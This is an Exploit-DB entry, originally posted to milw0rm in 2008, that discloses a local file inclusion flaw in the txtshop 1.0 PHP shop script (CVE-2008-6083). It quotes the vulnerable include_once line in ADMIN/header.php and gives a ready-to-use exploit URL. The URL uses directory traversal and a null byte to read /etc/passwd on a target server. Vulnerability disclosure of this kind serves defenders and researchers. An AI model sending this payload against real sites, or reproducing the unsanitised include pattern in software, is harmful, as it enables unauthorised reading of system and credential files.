txtshop 1.0b (Windows) - 'Language' Local File Inclusion

Author: Pepelux
type: webapps
platform: php
port: 
date_added: 2008-10-22  
date_updated: 2017-01-02  
verified: 1  
codes: OSVDB-51860;CVE-2008-6083  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comshop.zip  

raw file: 6816.txt  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
txtshop - beta 1.0 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: txtshop
$ Version: <= 1.0
$ File affected: ADMIN/header.php
$ Download: http://sourceforge.net/projects/txtshop/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

4.	if (!$language)$language="ch";
5.	include_once("../lib/lang.".$language.".php");



-- Exploit --

http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00

# milw0rm.com [2008-10-23]